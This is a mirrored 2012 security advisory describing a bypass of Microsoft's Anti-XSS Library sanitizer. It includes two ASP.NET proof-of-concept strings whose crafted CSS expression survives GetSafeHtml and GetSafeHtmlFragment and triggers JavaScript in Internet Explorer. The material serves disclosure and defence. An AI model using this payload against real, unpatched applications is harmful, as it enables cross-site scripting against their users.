Lucene search
K

Microsoft Anti-XSS Library Bypass

🗓️ 19 Jan 2012 00:00:00Reported by Adi CohenType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 24 Views

Microsoft Anti-XSS Library Bypass, XSS Vulnerability, Impact on Application

Code
`Introduction  
-------------  
Microsoft Anti-XSS Library is used to protect applications from Cross-Site Scripting attacks, by providing methods for input sanitization.  
  
Vulnerability  
-------------  
Microsoft Anti-XSS Library 3.0 and 4.0 are vulnerable to an attack in which an attacker is able to create a specially formed CSS, that after passing through the GetSafeHTML or GetSafeHtmlFragment methods, contains an expression that triggers a JavaScript call in Internet Explorer.  
  
The following ASP.NET code demonstrates the vulnerability:  
  
1. string data = Microsoft.Security.Application.Sanitizer.GetSafeHtml("<html>a<style><!--div{font-family:Foo,Bar\\,'a\\a';font-family:';color:expression(alert(1));y'}--></style><div>b</div></html>");  
  
2. string data = Microsoft.Security.Application.Sanitizer.GetSafeHtmlFragment("<div style=\"font-family:Foo,Bar\\,'a\\a';font-family:';color:expression(alert(1));y'\">aaa</div>");   
  
Explanation  
-----------  
The string value can be broken down as follows:  
  
div{  
font-family:Foo,Bar\,'a\a';  
font-family:';color:expression(alert(1));y'  
}  
  
A bug in the Anti-XSS library causes the closing apostrophe in the first CSS rule to be dropped. Because of the string not being properly terminated, Internet Explorer now renders this CSS in a different way, which triggers a javascript call:  
  
div{  
font-family:Foo,Bar\,'a\a;font-family:';  
color:expression(alert(1));  
y'  
}  
  
Impact  
------  
Every application that relies on either GetSafeHTML or GetSafeHtmlFragment to sanitize user supplied data is vulnerable to XSS.  
  
References  
----------  
http://www.securityfocus.com/bid/51291  
http://technet.microsoft.com/en-us/security/bulletin/ms12-007  
http://blog.watchfire.com/wfblog/2012/01/microsoft-anti-xss-library-bypass.html  
  
  
Adi Cohen <[email protected]>  
IBM Security Systems - Security Research Group  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation